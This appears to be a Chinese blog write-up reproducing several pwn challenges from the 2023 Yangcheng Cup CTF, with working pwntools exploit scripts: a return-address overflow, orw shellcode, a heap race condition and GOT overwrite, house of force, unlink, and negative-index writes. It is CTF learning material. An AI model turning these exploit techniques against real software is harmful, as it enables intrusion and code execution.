羊城杯2023 复现

heap没出没进线下…

login

qemu-riscv64 -g 2333 ./pwn
gdbinit这样设置方便调试,然后gdb-multiarch -x gdbinit就能调了

1
2
3
4
5
6
7
8
9
10
set arch riscv:rv64
target remote 127.0.0.1:2333
define hook-stop
info reg
echo "\n\n\n\n\n"
x/10i $pc
end

b *0x123457EA
c

逆向

main函数,一次向unk_12347078读入8字节,一次向栈上读入最多0x120字节,没有溢出.之后跳转到sub_12345786函数,即vuln.

vuln函数:
调用strlen函数检查之前在main函数中第二次输入的数据长度是否小于8,这里有个andi a4,a5,0xFF的操作,即只取了strlen结果的低8位,则0x108被转换成0x8,完成绕过.而返回地址恰好存储在strcpy(dest,source)的dest+0x100的地方,正好可以覆盖.

还有个后门函数不过有过滤,可以直接跳到这个位置绕过过滤.

exp

1
2
3
4
5
6
7
8
9
10
offset = 0x100
backdoor = 0x12345770
payload = b"a"*offset + p64(backdoor)

io.sendlineafter(b'name:', b'/bin/sh\x00')
io.sendafter(b'words', payload)

io.interactive()


shellcode

有个offbynull,第17个字节没有限制可以输入ret的字节码.
第一次输入时输入syscall的字节码,第二次输入shellcode利用栈上数据布置read的参数.第三次正式读入orw的shellcode,dup2改一下fd.
偷搬wp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *


sa(b'[2] Input: (ye / no)\n', b'\x0f\x05') # syscall
sc = '''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
push rbp
pop rsp
pop rdx
pop rdx
pop rdx

pop rbx
pop rbx
pop rbx
push rdx
push rsp
ret
'''

shellcode= asm(sc)
sa(b'======== Input Your P0P Code ========', shellcode)
sc = '''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall

mov rdi, 1
mov rsi, 0x200000000
mov rax, 0x21
syscall

mov rdi, 3
mov rsi, 2
mov rax, 0x21
syscall

mov rdi,2
mov rsi,rsp
push 90
pop rdx
xor eax,eax
syscall

mov rdi, 0x200000000
mov rsi,rsp
push 1
pop rax
syscall

'''
payload = (0x48 + 2) * b'a' + asm(sc)
s(payload)
p.interactive()


heap

逆向

大概逻辑是主函数读取输入,根据输入开启单独线程进行相应的堆操作.
注意下输入的格式.

看了很久没找到洞.由于处理输入是在单独的线程中,考虑过条件竞争,但否定了,当时的理由是:
“开启一个线程1后,线程1开始简单逻辑,主线程回到fgets阻塞等待IO,待结束阻塞后才开启线程2,由于IO操作,程序正常运行情况下线程2一定是在线程1完成逻辑并结束后再开启的,不会存在竞争现象.”

看了其他师傅的wp才发现edit函数中有个sleep(1)….ok那就竞争吧.

相关调试命令

1
2
3
4
5
6
7
cmd = '''
set scheduler-locking on
breakrva 0x1955
c
breakrva 0x14f8
c
'''

思路

既然edit会sleep(1),那就在edit等待的时候替换掉全局变量里的堆块指针,指向一个更小的chunk,在本题中便可制造一个0x18字节的堆溢出.glibc2.35的0x18字节堆溢出,想想都麻烦,不过好在这题的特殊结构,可以覆盖content_ptr制造一个任意地址读写.
好在main函数能正常退出,可以直接改返回地址了.
发现libc只是partial relro,可以改下got表,我exp是直接改onegadget了.

exp

具体有点麻烦的,多调调吧,主要就是memncpy会用\0填满n字节,然后我们又要用一次部分覆写…
这libc的environ末尾还是00…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def add(content:bytes):
payload = b'1 '
payload += content
io.sendline(payload)

def show(idx):
payload = b'2 '
payload += str(idx).encode()
io.sendline(payload)

def edit(idx,content):
payload = b'3 '
payload += str(idx).encode()+b':'+content
io.sendline(payload)
def free(idx):
payload = b'4 '
payload += str(idx).encode()
io.sendline(payload)
def exit():
payload = b'5 '
io.sendline(payload)
def shell():
payload = b'/bin/sh\x00'
io.sendline(payload)

add(b'a'*0x62)#0
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
add(b'b'*0x58)#0
add(b'a'*0x58)#1
sleep(2)

show(1)
io.recvuntil('paper index: ')
io.recvuntil('content: ')
leak_libc('puts',u64(io.recv(6).ljust(8,b'\x00'))-0x198db0)
if not hex(libc_base).startswith("0x7f"):
raise EOFError

add(b'a'*0x68)#2
edit(2,b'a'*0x60+p64(libc_base+0x219098))#libc.got['strlen']
free(2)
add(b'a'*0x50)#2
add(b'k'*0x50)#3
sleep(1)

onegadget = libc_base+0xebcf1
# edit(3,p64(system_addr))
edit(3,p64(onegadget))
# shell()

io.interactive()

easy_force

分析

程序只有一个功能,可以看出malloc的size不限,最多可以制造0x20的堆溢出.且可以得到堆块的地址(mmap的堆块就是libc地址).符合house of force的条件.改下got表就好了.

覆盖got表的时候可以用one_gadget,看了别的师傅的巧妙布置,覆盖malloc_got为system,然后在size输入binsh字符串的地址.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ask(0,0x30000,'/bin/sh\x00')
io.recvuntil('on ')
libc_addr = int(io.recvuntil(' ',drop=True),16)
log.success(hex(libc_addr))
leak_libc('puts',libc_addr-0x54b970)

ask(1,0x10,flat(['a'*0x10,0,-1]))
io.recvuntil('on ')
top = int(io.recvuntil(' ',drop=True),16)+0x10
log.success(hex(top))

ask(2,force(top,e.got['malloc']),'a')

ask(3,0x8,p64(system_addr))

io.sendlineafter('4.go away\n','1')
io.sendlineafter('index?',str(4))
io.sendlineafter('want',str(libc_addr))

io.interactive()

fix

改0x30为v2就好,记得补nop.

Printf_but_not_fmtstr

题目名称意义不明.glibc2.36堆题但是partial relro,能改got就改got了.有uaf,堆块限制在0x500-0x900.

先unsortedbin泄露地址,然后打unlink.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0,0x520)
add(1,0x520)
add(2,0x518)

delete(0)
show(0)

io.recvuntil('Content: ')
p.leak_libc('libc_base',p.recvaddress()-0x1f6cc0)

delete(1)
add(4,0x530)
payload = flat([0,0x521,0x4040E8-0x18,0x4040E8-0x10])
edit(1,payload)
delete(2)

edit(1,b'a'*0x10+p64(e.got['free']))
edit(0,p64(p.system_addr))
edit(2,'/bin/sh\x00')
delete(2)

io.interactive()

array_index_bank

负数索引,泄露pie和栈地址,然后绕过一些检查先改you再改返回地址就行了.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
io.sendlineafter(">",'1')
io.sendlineafter("?",'-3')
io.recvuntil('] = ')
pie_base = p.recvaddress("int")-0x14ff
lg("pie_base",pie_base)

you = pie_base+0x4010


io.sendlineafter(">",'1')
io.sendlineafter("?",'-2')
io.recvuntil('] = ')
ret_addr = p.recvaddress("int")+8
stack = ret_addr-0x38
lg("ret",ret_addr)

io.sendlineafter(">",'2')
io.sendlineafter("?",str((you-stack)//8))
io.sendlineafter("?",str(12))

# gdb.attach(io)
io.sendlineafter(">",'2')
io.sendlineafter("?",str((ret_addr-stack)//8))
io.sendlineafter("?",str(pie_base+0x1318))

io.sendlineafter(">",'3')

io.interactive()

fix

改为无符号比较:jle->jbe

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信